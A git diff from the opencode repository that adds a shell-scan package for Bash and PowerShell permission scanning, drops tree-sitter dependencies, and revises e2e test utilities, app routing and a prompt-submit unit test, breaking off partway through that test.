chore(shell-scan): keep research artifacts local

.changeset/shell-permission-scan.md

@@ -0,0 +1,8 @@
+---
+"@opencode-ai/core": minor
+"@opencode-ai/schema": minor
+"@opencode-ai/protocol": minor
+"@opencode-ai/client": minor
+---
+
+Replace Core shell permission parsing with portable, fail-closed Bash and PowerShell scanners.

.github/workflows/test.yml

@@ -76,6 +76,16 @@ jobs:
         env:
           OPENCODE_EXPERIMENTAL_DISABLE_FILEWATCHER: ${{ runner.os == 'Windows' && 'true' || 'false' }}
 
+      - name: Verify PowerShell 7 scanner conformance
+        if: always() && runner.os == 'Windows'
+        working-directory: packages/shell-scan
+        run: PWSH=pwsh bun run research:powershell
+
+      - name: Verify Windows PowerShell scanner conformance
+        if: always() && runner.os == 'Windows'
+        working-directory: packages/shell-scan
+        run: PWSH=powershell.exe bun run research:powershell
+
       - name: Verify compiled service lifecycle
         if: always()
         timeout-minutes: 10

bun.lock

@@ -145,10 +145,7 @@
         "open": "10.1.2",
         "semver": "catalog:",
         "solid-js": "catalog:",
-        "tree-sitter-bash": "0.25.0",
-        "tree-sitter-powershell": "0.25.10",
         "uqr": "0.1.3",
-        "web-tree-sitter": "0.25.10",
         "ws": "8.21.0",
       },
       "devDependencies": {
@@ -391,11 +388,8 @@
         "immer": "11.1.4",
         "jsonc-parser": "3.3.1",
         "mime-types": "3.0.2",
-        "tree-sitter-bash": "0.25.0",
-        "tree-sitter-powershell": "0.25.10",
         "turndown": "7.2.0",
         "venice-ai-sdk-provider": "2.1.1",
-        "web-tree-sitter": "0.25.10",
         "which": "6.0.1",
         "zod": "catalog:",
       },
@@ -403,6 +397,7 @@
         "@effect/platform-node": "catalog:",
         "@effect/sql-sqlite-bun": "catalog:",
         "@opencode-ai/http-recorder": "workspace:*",
+        "@opencode-ai/shell-scan": "workspace:*",
         "@parcel/watcher-darwin-arm64": "2.5.1",
         "@parcel/watcher-darwin-x64": "2.5.1",
         "@parcel/watcher-linux-arm64-glibc": "2.5.1",
@@ -772,6 +767,15 @@
         "vite": "catalog:",
       },
     },
+    "packages/shell-scan": {
+      "name": "@opencode-ai/shell-scan",
+      "version": "0.0.0",
+      "devDependencies": {
+        "@tsconfig/bun": "catalog:",
+        "@types/bun": "catalog:",
+        "@typescript/native-preview": "catalog:",
+      },
+    },
     "packages/simulation": {
       "name": "@opencode-ai/simulation",
       "version": "1.17.13",
@@ -1122,12 +1126,9 @@
     },
   },
   "trustedDependencies": [
-    "esbuild",
-    "tree-sitter-powershell",
-    "protobufjs",
     "electron",
-    "web-tree-sitter",
-    "tree-sitter-bash",
+    "esbuild",
+    "protobufjs",
   ],
   "patchedDependencies": {
     "@pierre/trees@1.0.0-beta.4": "patches/@pierre%2Ftrees@1.0.0-beta.4.patch",
@@ -2160,6 +2161,8 @@
 
     "@opencode-ai/session-ui": ["@opencode-ai/session-ui@workspace:packages/session-ui"],
 
+    "@opencode-ai/shell-scan": ["@opencode-ai/shell-scan@workspace:packages/shell-scan"],
+
     "@opencode-ai/simulation": ["@opencode-ai/simulation@workspace:packages/simulation"],
 
     "@opencode-ai/slack": ["@opencode-ai/slack@workspace:packages/slack"],
@@ -5744,10 +5747,6 @@
 
     "traverse": ["traverse@0.3.9", "", {}, "sha512-iawgk0hLP3SxGKDfnDJf8wTz4p2qImnyihM5Hh/sGvQ3K37dPi/w8sRhdNIxYA1TwFwc5mDhIJq+O0RsvXBKdQ=="],
 
-    "tree-sitter-bash": ["tree-sitter-bash@0.25.0", "", { "dependencies": { "node-addon-api": "^8.2.1", "node-gyp-build": "^4.8.2" }, "peerDependencies": { "tree-sitter": "^0.25.0" }, "optionalPeers": ["tree-sitter"] }, "sha512-gZtlj9+qFS81qKxpLfD6H0UssQ3QBc/F0nKkPsiFDyfQF2YBqYvglFJUzchrPpVhZe9kLZTrJ9n2J6lmka69Vg=="],
-
-    "tree-sitter-powershell": ["tree-sitter-powershell@0.25.10", "", { "dependencies": { "node-addon-api": "^7.1.0", "node-gyp-build": "^4.8.0" }, "peerDependencies": { "tree-sitter": "^0.25.0" }, "optionalPeers": ["tree-sitter"] }, "sha512-bEt8QoySpGFnU3aa8WedQyNMaN6aTwy/WUbvIVt0JSKF+BbJoSHNHu+wCbhj7xLMsfB0AuffmiJm+B8gzva8Lg=="],
-
     "treeverse": ["treeverse@3.0.0", "", {}, "sha512-gcANaAnd2QDZFmHFEOF4k7uc1J/6a6z3DJMd/QwEyxLoKGiptJRwid582r7QIsFlFMIZ3SnxfS52S4hm2DHkuQ=="],
 
     "trim-lines": ["trim-lines@3.0.1", "", {}, "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg=="],
@@ -7042,8 +7041,6 @@
 
     "tiny-async-pool/semver": ["semver@5.7.2", "", { "bin": { "semver": "bin/semver" } }, "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g=="],
 
-    "tree-sitter-bash/node-addon-api": ["node-addon-api@8.9.1", "", {}, "sha512-4eUQWVPCUUUiBjLnHS3cXWeC6ryoPUc0U3rP7IuzapoGbzMqd/r6KKO0clr0b+snQhsrueFEhCZDdK+LK7hxKg=="],
-
     "tw-to-css/postcss": ["postcss@8.4.31", "", { "dependencies": { "nanoid": "^3.3.6", "picocolors": "^1.0.0", "source-map-js": "^1.0.2" } }, "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ=="],
 
     "tw-to-css/tailwindcss": ["tailwindcss@3.3.2", "", { "dependencies": { "@alloc/quick-lru": "^5.2.0", "arg": "^5.0.2", "chokidar": "^3.5.3", "didyoumean": "^1.2.2", "dlv": "^1.1.3", "fast-glob": "^3.2.12", "glob-parent": "^6.0.2", "is-glob": "^4.0.3", "jiti": "^1.18.2", "lilconfig": "^2.1.0", "micromatch": "^4.0.5", "normalize-path": "^3.0.0", "object-hash": "^3.0.0", "picocolors": "^1.0.0", "postcss": "^8.4.23", "postcss-import": "^15.1.0", "postcss-js": "^4.0.1", "postcss-load-config": "^4.0.1", "postcss-nested": "^6.0.1", "postcss-selector-parser": "^6.0.11", "postcss-value-parser": "^4.2.0", "resolve": "^1.22.2", "sucrase": "^3.32.0" }, "bin": { "tailwind": "lib/cli.js", "tailwindcss": "lib/cli.js" } }, "sha512-9jPkMiIBXvPc2KywkraqsUfbfj+dHDb+JPWtSJa9MLFdrPyazI7q6WX2sUrm7R9eVR7qqv3Pas7EvQFzxKnI6w=="],

package.json

@@ -145,10 +145,6 @@
     "esbuild",
     "node-pty",
     "protobufjs",
-    "tree-sitter",
-    "tree-sitter-bash",
-    "tree-sitter-powershell",
-    "web-tree-sitter",
     "electron"
   ],
   "overrides": {

packages/app/AGENTS.md

@@ -22,8 +22,6 @@
 ## Localization
 
 - NEVER hardcode user-visible English strings in production code. ALWAYS use an i18n key for visible copy, placeholders, accessible labels, tooltips, menus, dialogs, toasts, empty states, and displayed errors.
-- Feature work adds English source strings only. Leave non-English keys absent so the runtime English fallback applies; translations land separately after language review.
-- Render count-sensitive copy only through `language.plural(baseKey, count, params)`. Never select or pass `.zero`, `.one`, `.two`, `.few`, `.many`, or `.other` variants to `language.t(...)`.
 - When migrating existing copy to i18n, preserve the English text byte-for-byte unless the task explicitly requests a copy change.
 - NEVER change existing English text or English keys to facilitate translation. English is intentional, designer-written source copy; adapt locale-specific translations and i18n mechanics around it.
 - Keep locale complexity behind the shared typed i18n APIs. Feature and component code should use `language.t(...)` for ordinary copy and `language.plural(baseKey, count, params)` for count-sensitive copy. It must not inspect the locale, call `Intl.PluralRules`, construct or select plural-category keys such as `.one` or `.other`, or branch on locale-specific grammar.

packages/app/e2e/regression/session-request-docks.spec.ts

@@ -87,7 +87,7 @@ test("shows a pending permission dock", async ({ page }) => {
         permission: "bash",
         patterns: ["git status", "git diff"],
         metadata: {},
-        always: [],
+        always: ["git *"],
       },
     ],
   })
@@ -116,7 +116,7 @@ test("restores the draft caret before typing after a request dock closes", async
   })
   await mockServer(page, { forms: [] })
   await page.goto(`/${base64Encode(directory)}/session/${sessionID}`)
-  await transport.waitForConnection({ path: "/api/event" })
+  await transport.waitForConnection()
   await expectSessionTitle(page, title)
 
   const editor = page.locator('[data-component="prompt-input"][contenteditable="true"]')

packages/app/e2e/regression/session-timeline-history-root.spec.ts

@@ -17,7 +17,7 @@ import { installSseTransport } from "../utils/sse-transport"
 import { expectSessionTitle } from "../utils/waits"
 
 const initialPageSize = 20
-const historyPageSize = 50
+const historyPageSize = 200
 const messages = Array.from({ length: initialPageSize + 1 }, (_, index) => {
   const id = `msg_${String(index + 1001).padStart(4, "0")}_history_root_user`
   return [

packages/app/e2e/regression/session-timeline-transport.spec.ts

@@ -89,15 +89,13 @@ test("reconnects after a stream error", async ({ page }) => {
 
 test("does not request replay when reconnecting the volatile V2 event stream", async ({ page }) => {
   const timeline = await setupTimeline(page, { eventRetry: 10 })
-  const first = await timeline.transport.send(
-    partUpdated(textPart("prt_transport_id", "event with id")),
-    { id: "timeline-event-7" },
-    "/api/event",
-  )
+  const first = await timeline.transport.send(partUpdated(textPart("prt_transport_id", "event with id")), {
+    id: "timeline-event-7",
+  })
   await timeline.waitForPart("prt_transport_id")
 
-  await timeline.transport.error("retry with event id", "/api/event")
-  const connection = await timeline.transport.waitForConnection({ after: first.connectionID, path: "/api/event" })
+  await timeline.transport.error("retry with event id")
+  const connection = await timeline.transport.waitForConnection({ after: first.connectionID })
 
   expect(first.eventID).toBe("timeline-event-7")
   expect(connection.headers["last-event-id"]).toBeUndefined()

packages/app/e2e/utils/mock-server.ts

@@ -270,14 +270,6 @@ export async function mockOpenCodeServer(page: Page, config: MockServerConfig) {
     if (path === "/api/project") return json(route, [config.project])
     if (path === "/api/project/current")
       return json(route, { id: (config.project as { id?: string }).id, directory: config.directory })
-    if (/^\/api\/project\/[^/]+\/directories$/.test(path))
-      return json(route, [
-        { directory: config.directory },
-        ...((config.project as { sandboxes?: string[] }).sandboxes ?? []).map((directory) => ({
-          directory,
-          strategy: "git_worktree",
-        })),
-      ])
     if (path === "/api/location") return json(route, location(config))
     const projectCopy = path.match(/^\/experimental\/project\/([^/]+)\/copy$/)?.[1]
     if (projectCopy && route.request().method() === "POST") {
@@ -351,10 +343,7 @@ export async function mockOpenCodeServer(page: Page, config: MockServerConfig) {
       const limit = Number(url.searchParams.get("limit") ?? 50)
       const offset = Number(url.searchParams.get("cursor") ?? 0)
       const sessions = config.sessions
-        .filter((session) => {
-          const location = session.location as { directory?: string } | undefined
-          return !directory || location?.directory === directory || session.directory === directory
-        })
+        .filter((session) => !directory || session.directory === directory)
         .filter((session) => parentID !== "null" || session.parentID === undefined)
         .filter((session) => {
           const search = url.searchParams.get("search")?.toLowerCase()
@@ -589,7 +578,6 @@ function currentPermission(value: unknown) {
 
 export function currentSession(session: { id: string } & Record<string, unknown>, fallbackDirectory?: string) {
   const time = session.time && typeof session.time === "object" ? session.time : {}
-  const location = session.location && typeof session.location === "object" ? session.location : {}
   return {
     id: session.id,
     parentID: session.parentID,
@@ -607,19 +595,10 @@ export function currentSession(session: { id: string } & Record<string, unknown>
     },
     title: session.title ?? session.id,
     location: {
-      directory:
-        "directory" in location && typeof location.directory === "string"
-          ? location.directory
-          : typeof session.directory === "string"
-            ? session.directory
-            : fallbackDirectory,
-      ...(typeof session.workspaceID === "string"
-        ? { workspaceID: session.workspaceID }
-        : "workspaceID" in location && typeof location.workspaceID === "string"
-          ? { workspaceID: location.workspaceID }
-          : {}),
+      directory: typeof session.directory === "string" ? session.directory : fallbackDirectory,
+      ...(typeof session.workspaceID === "string" ? { workspaceID: session.workspaceID } : {}),
     },
-    subpath: session.subpath ?? session.path,
+    subpath: session.path,
     revert: session.revert,
   }
 }

packages/app/e2e/utils/sse-transport.ts

@@ -29,38 +29,23 @@ export type SseEventOptions = {
 
 export type SseTransport<T> = {
   server: string
-  waitForConnection(options?: {
-    after?: number
-    timeout?: number
-    path?: SseConnectionRecord["path"]
-  }): Promise<SseConnectionRecord>
-  send(payload: T, options?: SseEventOptions, path?: SseConnectionRecord["path"]): Promise<SseDeliveryAcknowledgement>
+  waitForConnection(options?: { after?: number; timeout?: number }): Promise<SseConnectionRecord>
+  send(payload: T, options?: SseEventOptions): Promise<SseDeliveryAcknowledgement>
   burst(payloads: readonly T[], options?: readonly SseEventOptions[]): Promise<SseDeliveryAcknowledgement[]>
   split(payload: T, cuts: readonly number[], options?: SseEventOptions): Promise<SseDeliveryAcknowledgement>
   heartbeat(options?: SseEventOptions): Promise<SseDeliveryAcknowledgement>
   writeRaw(value: string | Uint8Array, cuts?: readonly number[], marker?: string): Promise<SseDeliveryAcknowledgement>
   close(): Promise<void>
   disconnect(message?: string): Promise<void>
-  error(message?: string, path?: SseConnectionRecord["path"]): Promise<void>
+  error(message?: string): Promise<void>
   connections(): Promise<SseConnectionRecord[]>
   acknowledgements(): Promise<SseDeliveryAcknowledgement[]>
 }
 
 type BrowserCommand<T> =
-  | {
-      type: "send"
-      deliveries: { payload: T; options?: SseEventOptions }[]
-      burst: boolean
-      cuts?: number[]
-      path?: SseConnectionRecord["path"]
-    }
+  | { type: "send"; deliveries: { payload: T; options?: SseEventOptions }[]; burst: boolean; cuts?: number[] }
   | { type: "raw"; bytes: number[]; cuts?: number[]; marker?: string }
-  | {
-      type: "end"
-      mode: "close" | "disconnect" | "error"
-      message?: string
-      path?: SseConnectionRecord["path"]
-    }
+  | { type: "end"; mode: "close" | "disconnect" | "error"; message?: string }
   | { type: "connections" }
   | { type: "acknowledgements" }
 
@@ -88,8 +73,7 @@ export async function installSseTransport<T>(
       let nextConnectionID = 0
       let nextDeliveryID = 0
 
-      const current = (path?: SseConnectionRecord["path"]) =>
-        connections.findLast((connection) => connection.endedAt === undefined && (!path || connection.path === path))
+      const current = () => connections.findLast((connection) => connection.endedAt === undefined)
       const chunks = (bytes: Uint8Array, cuts?: readonly number[]) => {
         const boundaries = [...new Set(cuts ?? [])]
           .filter((cut) => Number.isInteger(cut) && cut > 0 && cut < bytes.byteLength)
@@ -141,8 +125,8 @@ export async function installSseTransport<T>(
         acknowledgements.push(acknowledgement)
         return acknowledgement
       }
-      const end = (mode: "close" | "disconnect" | "error", message?: string, path?: SseConnectionRecord["path"]) => {
-        const connection = current(path)
+      const end = (mode: "close" | "disconnect" | "error", message?: string) => {
+        const connection = current()
         if (!connection) throw new Error("SSE transport has no active connection")
         connection.endedAt = performance.now()
         connection.endedBy = mode
@@ -162,8 +146,8 @@ export async function installSseTransport<T>(
         if (input.type === "connections")
           return connections.map(({ controller: _controller, ...connection }) => connection)
         if (input.type === "acknowledgements") return acknowledgements
-        if (input.type === "end") return end(input.mode, input.message, input.path)
-        const connection = current(input.type === "send" ? input.path : undefined)
+        if (input.type === "end") return end(input.mode, input.message)
+        const connection = current()
         if (!connection) throw new Error("SSE transport has no active connection")
         if (input.type === "raw") {
           marker(input.marker)
@@ -251,15 +235,12 @@ export async function installSseTransport<T>(
     server,
     async waitForConnection(input = {}) {
       const connection = await page.waitForFunction(
-        ({ after, path }) => {
+        (after) => {
           const transport = (window as BrowserTransport).__testSseTransport
           const connections = transport?.command({ type: "connections" }) as SseConnectionRecord[] | undefined
-          return connections?.findLast(
-            (connection) =>
-              connection.id > after && connection.endedAt === undefined && (!path || connection.path === path),
-          )
+          return connections?.findLast((connection) => connection.id > after && connection.endedAt === undefined)
         },
-        { after: input.after ?? 0, path: input.path },
+        input.after ?? 0,
         { timeout: input.timeout },
       )
       let result: SseConnectionRecord | undefined
@@ -271,8 +252,8 @@ export async function installSseTransport<T>(
       if (!result) throw new Error("SSE transport connection disappeared while waiting")
       return result
     },
-    send(payload, eventOptions, path) {
-      return command({ type: "send", deliveries: [{ payload, options: eventOptions }], burst: false, path })
+    send(payload, eventOptions) {
+      return command({ type: "send", deliveries: [{ payload, options: eventOptions }], burst: false })
     },
     burst(payloads, eventOptions = []) {
       return command({
@@ -310,8 +291,8 @@ export async function installSseTransport<T>(
     disconnect(message) {
       return command({ type: "end", mode: "disconnect", message })
     },
-    error(message, path) {
-      return command({ type: "end", mode: "error", message, path })
+    error(message) {
+      return command({ type: "end", mode: "error", message })
     },
     connections() {
       return command({ type: "connections" })

packages/app/src/app.tsx

@@ -1,7 +1,6 @@
 import "@/index.css"
 import * as Sentry from "@sentry/solid"
 import { I18nProvider } from "@opencode-ai/ui/context"
-import type { UiI18n } from "@opencode-ai/ui/context/i18n"
 import { DialogProvider } from "@opencode-ai/ui/context/dialog"
 import { FileComponentProvider } from "@opencode-ai/ui/context/file"
 import { File } from "@opencode-ai/session-ui/file"
@@ -52,9 +51,10 @@ import { DirectoryDataProvider } from "@/pages/directory-layout"
 import Layout from "@/pages/layout"
 import { ErrorPage } from "./pages/error"
 import { useCheckServerHealth } from "./utils/server-health"
-import { legacySessionServer, sessionHref } from "./utils/session-route"
+import { legacySessionServer, requireServerKey, sessionHref } from "./utils/session-route"
 import { decode64 } from "@/utils/base64"
-import { TargetSessionRoute } from "@/pages/session-lazy"
+
+import { SessionRouteErrorBoundary, TargetSessionRouteContent } from "@/pages/session"
 import { Home } from "@/pages/home"
 
 const NewSession = lazy(() => import("@/pages/new-session"))
@@ -75,7 +75,35 @@ const DirectoryDraftRedirect = () => {
   return null
 }
 
-// TargetSessionRoute is lazy-loaded from @/pages/session-lazy
+function TargetServerRoute(props: ParentProps) {
+  const params = useParams<{ serverKey: string; id: string }>()
+  const global = useGlobal()
+  const conn = createMemo(() => {
+    const key = requireServerKey(params.serverKey)
+    return global.servers.list().find((item) => ServerConnection.key(item) === key)
+  })
+
+  return (
+    // Owns the server-identity remount. Session changes must not remount this subtree.
+    <Show when={requireServerKey(params.serverKey)} keyed>
+      <ServerSDKProvider server={conn()}>
+        <ServerSyncProvider server={conn()}>{props.children}</ServerSyncProvider>
+      </ServerSDKProvider>
+    </Show>
+  )
+}
+
+function TargetSessionRoute() {
+  const params = useParams<{ serverKey: string; id: string }>()
+  return (
+    <SessionRouteErrorBoundary sessionID={params.id} serverKey={requireServerKey(params.serverKey)} padded>
+      <TargetServerRoute>
+        <TargetSessionRouteContent />
+      </TargetServerRoute>
+    </SessionRouteErrorBoundary>
+  )
+}
+
 // Wraps the non-draft routes. They are gated on (and keyed to) the globally selected
 // server via ServerKey, then provide the server-scoped shell for that server.
 function SelectedServerProviders(props: ParentProps) {
@@ -131,13 +159,7 @@ function UiI18nBridge(props: ParentProps) {
   const language = useLanguage()
   return (
     <I18nProvider
-      value={{
-        locale: language.intl,
-        layoutLocale: language.layoutLocale,
-        t: language.t as UiI18n["t"],
-        plural: language.plural,
-        pluralForm: language.pluralForm,
-      }}
+      value={{ locale: language.intl, layoutLocale: language.layoutLocale, t: language.t, plural: language.plural }}
     >
       {props.children}
     </I18nProvider>

packages/app/src/components/prompt-input-v2.tsx

@@ -37,7 +37,6 @@ export type PromptInputV2ComposerProps = {
   class?: string
   controller: PromptInputV2ComposerController
   borderUnderlay?: boolean
-  accentSubmit?: boolean
 }
 
 export type PromptInputV2ControllerProps = Omit<PromptInputProps, "class" | "submission">
@@ -54,7 +53,6 @@ export function PromptInputV2Composer(props: PromptInputV2ComposerProps) {
     <div class="flex flex-col gap-3">
       <PromptInputV2
         controller={props.controller}
-        accentSubmit={props.accentSubmit}
         borderUnderlay={props.borderUnderlay}
         class={props.class}
         variantControlVisible={!props.controller.model.loading}

packages/app/src/components/prompt-input/submit.test.ts

@@ -1,16 +1,18 @@
 import { beforeAll, beforeEach, describe, expect, mock, test } from "bun:test"
 import { createStore } from "solid-js/store"
 import type { Prompt, PromptStore } from "@/context/prompt"
-import { ServerScope } from "@/utils/server-scope"
+import type { ModelSelection } from "@/context/local"
 
 let createPromptSubmit: typeof import("./submit").createPromptSubmit
 
+const createdClients: string[] = []
 const createdSessions: string[] = []
-type SessionCreateInput = {
+const sessionCreateInputs: Array<{
   agent?: string
   model?: { id: string; providerID: string; variant?: string }
   location?: { directory: string }
-}
+}> = []
+const enabledAutoAccept: Array<{ server: string; sessionID: string; directory: string }> = []
 const optimistic: Array<{
   directory?: string
   sessionID?: string
@@ -20,9 +22,11 @@ const optimistic: Array<{
     variant?: string
   }
 }> = []
+const optimisticSeeded: boolean[] = []
 const storedSessions: Record<string, Array<{ id: string; title?: string }>> = {}
+const promoted: Array<{ directory: string; sessionID: string }> = []
 const sentShell: Array<{ sessionID: string; id?: string; command: string }> = []
-const sentShellDirectories: string[] = []
+const syncedDirectories: string[] = []
 const promotedDrafts: Array<{ draftID: string; server: string; sessionId: string }> = []
 const sentPrompts: string[] = []
 const promptInputs: unknown[] = []
@@ -33,28 +37,15 @@ const switchedModels: Array<{
   model: { id: string; providerID: string; variant?: string }
 }> = []
 const sessionRequestOrder: string[] = []
-const updatedDrafts: Array<{ draftID: string; worktree?: string }> = []
-const syncedServers: string[] = []
-const optimisticServers: string[] = []
-const promptCaptures: Array<{ scope?: unknown; target?: unknown }> = []
+const commands: Array<{ name: string }> = []
 let serverSessionSyncs = 0
 
 let params: { id?: string } = {}
 let search: { draftId?: string } = {}
 let selected = "/repo/worktree-a"
 let variant: string | undefined
+let permissionServer = "server-a"
 let createSessionGate: Promise<void> | undefined
-let createWorktreeGate: Promise<void> | undefined
-let worktreeFailure: Error | undefined
-let worktreeCreates = 0
-let activeSDK = "server-a"
-let activeServerSync = "server-a"
-let activeDirectorySync = "server-a"
-let commands: Array<{ name: string }> = []
-let worktreeDirectory = "/repo/new-0"
-let worktreeID = 0
-const draftServers: Record<string, string> = {}
-const sessionDirectories: Record<string, string> = {}
 
 let promptValue: Prompt = [{ type: "text", content: "ls", start: 0, end: 2 }]
 const [promptStore, setPromptStore] = createStore<PromptStore>({
@@ -82,25 +73,21 @@ const prompt = {
     replaceComments: () => undefined,
     items: () => [],
   },
-  capture: (scope?: unknown, target?: unknown) => {
-    promptCaptures.push({ scope, target })
-    return prompt
-  },
+  capture: () => prompt,
 }
-const settle = () => new Promise((resolve) => setTimeout(resolve, 0))
 
 const clientFor = (directory: string) => {
+  createdClients.push(directory)
   return {
     api: {
       session: {
-        create: async (input: SessionCreateInput) => {
+        create: async (input: (typeof sessionCreateInputs)[number]) => {
           await createSessionGate
           const location = input.location?.directory ?? directory
           createdSessions.push(location)
-          const id = `session-${createdSessions.length}`
-          sessionDirectories[id] = location
+          sessionCreateInputs.push(input)
           return {
-            id,
+            id: `session-${createdSessions.length}`,
             projectID: "project",
             agent: input.agent,
             model: input.model,
@@ -113,7 +100,7 @@ const clientFor = (directory: string) => {
         },
         prompt: async (input: unknown) => {
           sessionRequestOrder.push("prompt")
-          sentPrompts.push(sessionDirectories[(input as { sessionID: string }).sessionID] ?? directory)
+          sentPrompts.push(directory)
           promptInputs.push(input)
           return { data: undefined }
         },
@@ -133,23 +120,16 @@ const clientFor = (directory: string) => {
         },
         shell: async (input: { sessionID: string; id?: string; command: string }) => {
           sentShell.push(input)
-          sentShellDirectories.push(sessionDirectories[input.sessionID] ?? directory)
         },
       },
-      projectCopy: {
-        create: async (_input: unknown) => {
-          worktreeCreates++
-          await createWorktreeGate
-          if (worktreeFailure) throw worktreeFailure
-          return { directory: worktreeDirectory }
-        },
-      },
-      location: { get: async () => ({ directory: worktreeDirectory }) },
     },
     session: {
       command: async () => ({ data: undefined }),
       abort: async () => ({ data: undefined }),
     },
+    worktree: {
+      create: async () => ({ data: { directory: `${directory}/new` } }),
+    },
   }
 }
 
@@ -165,7 +145,6 @@ beforeAll(async () => {
 
   mock.module("@opencode-ai/ui/toast", () => ({
     Toast: { Region: () => null },
-    toaster: { create: () => undefined, show: () => undefined, dismiss: () => undefined },
     showToast: () => 0,
   }))
 
@@ -183,13 +162,20 @@ beforeAll(async () => {
         current: () => ({ name: "agent" }),
       },
       session: {
-        promote: () => undefined,
+        promote(directory: string, sessionID: string) {
+          promoted.push({ directory, sessionID })
+        },
       },
     }),
   }))
 
   mock.module("@/context/permission", () => {
-    return { usePermission: () => ({ currentServerState: () => ({ enableAutoAccept: () => undefined }) }) }
+    const state = (server: string) => ({
+      enableAutoAccept(sessionID: string, directory: string) {
+        enabledAutoAccept.push({ server, sessionID, directory })
+      },
+    })
+    return { usePermission: () => ({ currentServerState: () => state(permissionServer) }) }
   })
 
   mock.module("@/context/server", () => ({
@@ -198,10 +184,7 @@ beforeAll(async () => {
 
   mock.module("@/context/tabs", () => ({
     useTabs: () => ({
-      draft: (draftID: string) => ({ server: draftServers[draftID] ?? "project-server" }),
-      updateDraft: (draftID: string, draft: { worktree?: string }) => {
-        updatedDrafts.push({ draftID, ...draft })
-      },
+      draft: () => ({ server: "project-server" }),
       promoteDraft: (draftID: string, session: { server: string; sessionId: string }) => {
         promotedDrafts.push({ draftID, ...session })
       },
@@ -222,70 +205,68 @@ beforeAll(async () => {
 
   mock.module("@/context/sdk", () => ({
     useSDK: () => {
-      return () => ({
-        scope: activeSDK === "server-a" ? ServerScope.local : "server-b",
-        directory: activeSDK === "server-a" ? "/repo/main" : "/repo/other",
+      const sdk = {
+        scope: "local",
+        directory: "/repo/main",
         api: rootClient.api,
         url: "http://localhost:4096",
-      })
+      }
+      return () => sdk
     },
   }))
 
   mock.module("@/context/sync", () => ({
-    useSync: () => () => {
-      const server = activeDirectorySync
-      return {
-        data: { command: commands, project: "project" },
-        session: {
-          optimistic: {
-            add: (value: {
-              directory?: string
-              sessionID?: string
-              message: { agent: string; model: { providerID: string; modelID: string; variant?: string } }
-            }) => {
-              optimisticServers.push(server)
-              optimistic.push(value)
-            },
-            remove: () => undefined,
+    useSync: () => () => ({
+      data: { command: commands },
+      session: {
+        optimistic: {
+          add: (value: {
+            directory?: string
+            sessionID?: string
+            message: { agent: string; model: { providerID: string; modelID: string; variant?: string } }
+          }) => {
+            optimistic.push(value)
+            optimisticSeeded.push(
+              !!value.directory &&
+                !!value.sessionID &&
+                !!storedSessions[value.directory]?.find((item) => item.id === value.sessionID)?.title,
+            )
           },
+          remove: () => undefined,
         },
-        set: () => undefined,
-        project: { worktree: server === "server-a" ? "/repo/main" : "/repo/other" },
-      }
-    },
+      },
+      set: () => undefined,
+    }),
   }))
 
   mock.module("@/context/server-sync", () => ({
-    useServerSync: () => () => {
-      const server = activeServerSync
-      return {
-        session: {
-          remember: () => undefined,
-          set: () => undefined,
-          sync: async () => {
-            serverSessionSyncs++
+    useServerSync: () => () => ({
+      session: {
+        remember: () => undefined,
+        set: () => undefined,
+        sync: async () => {
+          serverSessionSyncs++
+        },
+      },
+      child: (directory: string) => {
+        syncedDirectories.push(directory)
+        storedSessions[directory] ??= []
+        return [
+          { session: storedSessions[directory] },
+          (...args: unknown[]) => {
+            if (args[0] !== "session") return
+            const next = args[1]
+            if (typeof next === "function") {
+              storedSessions[directory] = next(storedSessions[directory]) as Array<{ id: string; title?: string }>
+              return
+            }
+            if (Array.isArray(next)) {
+              storedSessions[directory] = next as Array<{ id: string; title?: string }>
+            }
           },
-        },
-        child: (directory: string) => {
-          syncedServers.push(server)
-          storedSessions[directory] ??= []
-          return [
-            { session: storedSessions[directory] },
-            (...args: unknown[]) => {
-              if (args[0] !== "session") return
-              const next = args[1]
-              if (typeof next === "function") {
-                storedSessions[directory] = next(storedSessions[directory]) as Array<{ id: string; title?: string }>
-                return
-              }
-              if (Array.isArray(next)) {
-                storedSessions[directory] = next as Array<{ id: string; title?: string }>
-              }
-            },
-          ]
-        },
-      }
-    },
+        ]
+      },
+    }),
   }))
 
   mock.module("@/context/platform", () => ({
@@ -305,129 +286,205 @@ beforeAll(async () => {
 })
 
 beforeEach(() => {
+  createdClients.length = 0
   createdSessions.length = 0
+  sessionCreateInputs.length = 0
+  enabledAutoAccept.length = 0
   optimistic.length = 0
+  optimisticSeeded.length = 0
+  promoted.length = 0
   promotedDrafts.length = 0
-  updatedDrafts.length = 0
-  sentCommands.length = 0
   sentPrompts.length = 0
   promptInputs.length = 0
+  sentCommands.length = 0
   switchedAgents.length = 0
   switchedModels.length = 0
   sessionRequestOrder.length = 0
-  syncedServers.length = 0
-  optimisticServers.length = 0
-  promptCaptures.length = 0
+  commands.length = 0
+  promptValue = [{ type: "text", content: "ls", start: 0, end: 2 }]
   params = {}
   search = {}
   sentShell.length = 0
-  sentShellDirectories.length = 0
+  syncedDirectories.length = 0
   selected = "/repo/worktree-a"
   variant = undefined
-  activeSDK = "server-a"
-  activeServerSync = "server-a"
-  activeDirectorySync = "server-a"
-  commands = []
-  promptValue = [{ type: "text", content: "ls", start: 0, end: 2 }]
-  worktreeDirectory = `/repo/new-${++worktreeID}`
+  permissionServer = "server-a"
   createSessionGate = undefined
   serverSessionSyncs = 0
-  createWorktreeGate = undefined
-  worktreeFailure = undefined
-  worktreeCreates = 0
-  for (const key of Object.keys(draftServers)) delete draftServers[key]
-  for (const key of Object.keys(sessionDirectories)) delete sessionDirectories[key]
   for (const key of Object.keys(storedSessions)) delete storedSessions[key]
 })
 
-const event = { preventDefault: () => undefined } as unknown as Event
-const makeSubmit = (overrides: Partial<Parameters<typeof createPromptSubmit>[0]> = {}) =>
-  createPromptSubmit({
-    prompt,
-    info: () => undefined,
-    imageAttachments: () => [],
-    commentCount: () => 0,
-    autoAccept: () => false,
-    mode: () => "normal",
-    working: () => false,
-    editor: () => undefined,
-    queueScroll: () => undefined,
-    promptLength: (value) => value.reduce((sum, part) => sum + ("content" in part ? part.content.length : 0), 0),
-    addToHistory: () => undefined,
-    resetHistoryNavigation: () => undefined,
-    setMode: () => undefined,
-    setPopover: () => undefined,
